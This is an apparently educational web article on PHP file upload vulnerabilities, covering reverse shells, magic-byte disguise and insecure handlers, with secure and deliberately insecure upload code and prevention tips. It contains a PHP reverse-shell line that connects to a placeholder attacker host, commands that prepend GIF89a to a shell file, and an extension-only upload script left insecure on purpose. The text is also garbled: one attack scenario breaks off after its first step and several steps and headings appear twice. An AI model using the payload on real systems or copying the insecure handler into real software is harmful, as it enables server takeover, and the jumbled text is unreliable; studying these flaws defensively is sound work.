File Upload Vulnerabilities
File upload vulnerabilities can lead to severe security breaches if not handled properly. Attackers can exploit insecure file uploads to upload malicious files that, when executed, can give them unauthorized access to the server. This is especially dangerous with files that can execute code, such as .php
, .aspx
, and .svg
files.
Attack Scenario: Insecure File Content
Objective: An attacker aims to upload a malicious file that, once uploaded, allows them to execute arbitrary code on the server, resulting in a reverse shell or unauthorized access.
Steps:
Identify Vulnerable File Upload: The attacker finds a file upload feature on the target website, for example,
example.com/upload.php
.
3. Compliant Code: Secure File Upload Example
The following code demonstrates a secure file upload process that includes file type validation, restricting uploads to safe file types, and preventing code execution:
<?php
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
// Check the file type
$fileType = mime_content_type($_FILES["fileToUpload"]["tmp_name"]);
// Allow only specific file types (e.g., images, PDFs)
$allowedTypes = array("image/jpeg", "image/png", "application/pdf");
if (!in_array($fileType, $allowedTypes)) {
echo "Sorry, only JPG, PNG, and PDF files are allowed.";
$uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
echo "Your file was not uploaded.";
// If everything is ok, try to upload the file
} else {
// Sanitize the file name to prevent path traversal
$safeFileName = preg_replace("/[^a-zA-Z0-9_-]/", "", basename($_FILES["fileToUpload"]["name"]));
$target_file = $target_dir . $safeFileName;
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file ". htmlspecialchars($safeFileName) . " has been uploaded.";
} else {
echo "Sorry, there was an error uploading your file.";
}
}
?>
Security Enhancements in Compliant Code:
File Type Validation: Only allows specific, safe file types (e.g., JPEG, PNG, PDF) to be uploaded.
File Name Sanitization: Removes potentially dangerous characters from the file name to prevent path traversal attacks.
Directory Restrictions: Ensure the upload directory does not execute scripts (e.g., via
.htaccess
).
4. Reverse Access Control
If an attacker successfully uploads and accesses a malicious file (e.g., example.com/shell.php
or example.com/shell.aspx
), they can gain remote access to the server. This is typically achieved using a reverse shell, where the server connects back to the attacker’s machine, granting the attacker control over the server.
Prevention Tips:
Restrict File Types: Limit uploads to non-executable file types.
Sanitize File Names: Prevent the use of dangerous characters in file names.
Disable Script Execution in Upload Directory: Use web server configurations to prevent the execution of scripts in the upload directory.
Validate Content: Inspect the content of the uploaded files to ensure they match the expected type.
Magic Byte Exploits and Securing File Uploads
File upload vulnerabilities are often exploited by attackers to upload malicious files. One of the advanced techniques used by attackers involves bypassing file type checks by manipulating the magic bytes of a file.
Magic Bytes Overview
Magic bytes are a sequence of bytes at the beginning of a file that indicates its format. For example:
GIF images start with the magic bytes
GIF89a
.JPEG images start with the magic bytes
\xff\xd8\xff
.
By manipulating these bytes, an attacker can disguise a malicious file as a seemingly harmless image or another file type.
Attack Scenario: Magic Byte Exploit
Objective: An attacker aims to upload a file with executable content, but the server only allows image files (.gif
, .jpg
). By modifying the file's magic bytes, the attacker disguises a malicious file as an image, allowing it to bypass server checks and execute malicious code.
Steps:
Identify Vulnerable File Upload: The attacker finds a file upload feature on the target website, for example,
example.com/upload.php
, which allows.gif
and.jpg
file uploads.Create Malicious Payload:
The attacker creates a PHP script (e.g.,
shell.php
) that grants reverse shell access:
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/attacker_ip/attacker_port 0>&1'");
?>
Manipulate Magic Bytes:
The attacker changes the first few bytes of the
shell.php
file to match the magic bytes of a GIF file (GIF89a
), making it appear as a valid image file:
echo -e 'GIF89a' > shell.php
cat original_shell_code.php >> shell.php
Upload the Malicious File:
The attacker uploads
shell.php
, now disguised asshell.gif
, to the vulnerable server via the file upload feature.
Access and Execute the File:
The attacker accesses the uploaded file at
example.com/uploads/shell.gif
. Despite being named as an image, the server may interpret it as a PHP file and execute it if not properly configured.
Gain Reverse Shell:
If successful, the PHP code within
shell.gif
is executed, and the attacker gains reverse shell access to the server.
Non-Compliant Code: Insecure File Upload Example
The following PHP script demonstrates insecure handling of file uploads, where only the file extension is checked, and the file content is not validated:
Upload the Malicious File:
The attacker uploads
shell.php
, now disguised asshell.gif
, to the vulnerable server via the file upload feature.
Access and Execute the File:
The attacker accesses the uploaded file at
example.com/uploads/shell.gif
. Despite being named as an image, the server may interpret it as a PHP file and execute it if not properly configured.
Gain Reverse Shell:
If successful, the PHP code within
shell.gif
is executed, and the attacker gains reverse shell access to the server.
Non-Compliant Code: Insecure File Upload Example
The following PHP script demonstrates insecure handling of file uploads, where only the file extension is checked, and the file content is not validated:
<?php
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));
// Allow only .gif and .jpg files based on extension
if ($imageFileType != "jpg" && $imageFileType != "gif") {
echo "Sorry, only JPG and GIF files are allowed.";
$uploadOk = 0;
}
if ($uploadOk && move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file " . htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.";
} else {
echo "Sorry, there was an error uploading your file.";
}
?>
Issues with Non-Compliant Code:
Extension-Based Validation: The script only checks the file extension, not the actual content. This allows attackers to upload files with executable content by simply renaming them.
No Magic Byte Check: The script does not check the magic bytes of the uploaded file, leaving it vulnerable to disguised files.
Insecure Handler
File upload vulnerabilities can be exploited by attackers to gain unauthorized access to a server, execute malicious code, or modify server behavior. A specific type of vulnerability involves insecure handler configurations, where the server's file handler processes files in an unsafe manner, potentially allowing an attacker to upload a web shell or other malicious scripts.
Attack Scenario: Insecure Handler Exploit
Objective:
The attacker aims to upload a malicious file that, when processed by an insecure file handler (such as .do
in Java web applications), executes arbitrary code on the server, granting the attacker control.
Insecure Handler and Web Shell Exploit
If an attacker successfully uploads a file that bypasses validation (e.g.,
shell.jsp
), the insecure handler processes it, leading to the execution of malicious code on the server. This can grant the attacker complete control over the web server, allowing them to execute arbitrary commands, access sensitive data, or escalate privileges.
Process of Securing File Uploads
Validate File Types: Use a whitelist of allowed file types to ensure only safe file types are uploaded.
Sanitize File Names: Remove special characters from file names to prevent injection attacks and path traversal.
Secure Handler Configuration: Ensure that the server’s handler is properly configured to prevent the execution of untrusted files, especially those that could execute code (e.g.,
.jsp
files).Audit Server Configurations: Regularly audit server configurations to ensure that no insecure handlers or misconfigurations could be exploited.